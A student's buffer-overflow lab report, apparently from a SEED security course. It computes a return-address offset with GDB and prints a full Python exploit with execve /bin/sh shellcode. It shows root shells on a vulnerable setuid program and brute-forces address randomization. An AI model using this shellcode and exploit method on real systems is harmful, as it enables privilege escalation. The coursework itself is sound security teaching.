# Lab 2 - Buffer Overflow

### Casey Bates

16 October 2020

## Task 2: The Shellcode

#### Q1:

After disabling the countermeasures, running shellcodetest.c opened a new shell. This shell does not have root privileges (denoted by the \$ indicator).

```
[10/14/20]seed@VM:~/.../lab2$ ./shellcodetest
$ |
```

Figure 1: Result of running shellcodetest

# Task 4: Exploiting the Vulnerability

## **Q2**:

In order to calculate D, I needed the addresses of \$ebp and buffer. Using GDB, I found the addresses of \$ebp = 0xbfffeb38 and buffer = 0xbfffeb0a. Therefore:

$$D = \$ {\tt ebp-buffer} + 4$$
 
$$D = {\tt 0xbfffeb38-0xbfffeb0a} + 4$$
 
$$D = 50$$

```
qdb-pedaS p &buffer
$1 = (char (*)[38]) 0xbfffeb0a
qdb-pedaS p $ebp
$2 = (void *) 0xbfffeb38
qdb-pedaS
```

Figure 2: Using GDB to find values of ebp and buffer

To find the correct values for content [D+0 to 3], I started with eph + 4 (0xbfff3c), and incremented by 4 until the unsafe program ran correctly. I ended up with these values:

```
content[D+0] = 0x80

content[D+1] = 0xeb

content[D+2] = 0xff

content[D+3] = 0xbf
```

```
1 #!/usr/bin/python3
3 import sys
5 shellcode= (
     "\x31\xc0"
                         # xorl
                                   %eax,%eax
6
     "\x50"
                          # pushl
7
     "\x68""//sh"
                         # pushl
                                   $0x68732f2f
8
     "\x68""/bin"
                         # pushl
                                   $0x6e69622f
9
     "\x89\xe3"
                         # movl
                                   %esp,%ebx
     "\x50"
                         # pushl
                                   %eax
11
     "\x53"
12
                         # pushl
                                   %ebx
     "\x89\xe1"
                         # movl
                                   %esp,%ecx
13
     "\x99"
                         # cdq
14
15
     "\xb0\x0b"
                         # movb
                                   $0x0b,%al
     "\xcd\x80"
                         # int
                                   $0x80
16
     "\x00"
17
18 ).encode('latin-1')
19
20 # Fill the content with NOP's
21 content = bytearray(0x90 for i in range(517))
^{24} # TODO: Replace O with the correct offset value in decimal
_{25} D = 50
26 # TODO: Fill the return address field with the address of the
     shellcode
27 # Replace OxFF with the correct value
28 \text{ content}[D+0] = 0x80
                    # fill in the 1st byte (least significant
     bvte)
29 content[D+1] = 0xEB
                     # fill in the 2nd byte
                     # fill in the 3rd byte
30 content[D+2] = 0xFF
31 content[D+3] = 0xBF
                     # fill in the 4th byte (most significant byte
```

```
34 # Put the shellcode at the end
35 start = 517 - len(shellcode)
36 content[start:] = shellcode
37
38 # Write the content to badfile
39 file = open("inputfile", "wb")
40 file.write(content)
41 file.close()
```

Listing 1: exploit.py

After running exploit.py, running unsafe opened a shell with root privileges (denoted by the # indicator). I then ran the *id* command to check the program's real uid and effective uid.

```
[10/16/20]seed@VM:~/.../lab2$ python3 exploit.py
[10/16/20]seed@VM:~/.../lab2$ ./unsafe
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# |
```

Figure 3: Result of running unsafe, then the id command

## Task 5: Defeating Shell's Countermeasure

#### Q3

After modifying the shellcode in exploit.py, running unsafe still opens a root shell. However, with the *id* command I can see that the user id is 0, meaning the effective uid and real uid of the program are the same.

```
[10/17/20] seed@VM:~/.../lab2$ sudo rm /bin/sh
[sudo] password for seed:
[10/17/20] seed@VM:~/.../lab2$ sudo ln -s /bin/dash /bin/sh
[10/17/20] seed@VM:~/.../lab2$ sudo ln -s /bin/dash /bin/sh
[10/17/20] seed@VM:~/.../lab2$ python3 exploit.py
[10/17/20] seed@VM:~/.../lab2$ ./unsafe
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

Figure 4: Result of running unsafe after modifying exploit.py

## Task 6: Defeating Address Randomization

#### $\mathbf{Q4}$

After turning on Ubuntu's address randomization, the attack from Task 5 no longer works.

```
②●③ Terminal
[10/17/20]seed@VM:~/.../lab2$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
[sudo] password for seed:
kernel.randomize_va_space = 2
[10/17/20]seed@VM:-/.../lab2$ python3 exploit.py
[10/17/20]seed@VM:-/.../lab2$ ./unsafe
Segmentation fault
```

Figure 5: Turning on address randomization prevents the attack, for now...

#### $Q_5$

I copied the script into a file called bruteforce.sh. While running the script, it continued to print how much time it had been running, as well as the output of unsafe. bruteforce.sh ran for 31 seconds before spawning a root shell. Using id I confirmed that this shell had a user id of 0, the same as in Task 5.

```
The program has been running 18029 times so far.
It has been 0:31 (mins:secs)
./bruteforce.sh: line 15: 29470 Segmentation fault
                                                                             ./unsafe
The program has been running 18030 times so far.
It has been 0:31 (mins:secs)
./bruteforce.sh: line 15: 29471 Segmentation fault
                                                                             ./unsafe
The program has been running 18031 times so far.
It has been 0:31 (mins:secs)
./bruteforce.sh: line 15: 29472 Segmentation fault
                                                                             ./unsafe
The program has been running 18032 times so far.
It has been 0:31 (mins:secs)
./bruteforce.sh: line 15: 29473 Segmentation fault
                                                                             ./unsafe
The program has been running 18033 times so far.
It has been 0:31 (mins:secs)
./bruteforce.sh: line 15: 29474 Segmentation fault
                                                                             ./unsafe
The program has been running 18034 times so far.
It_has been 0:31 (mins:secs)
```

Figure 6: Result of running bruteforce.sh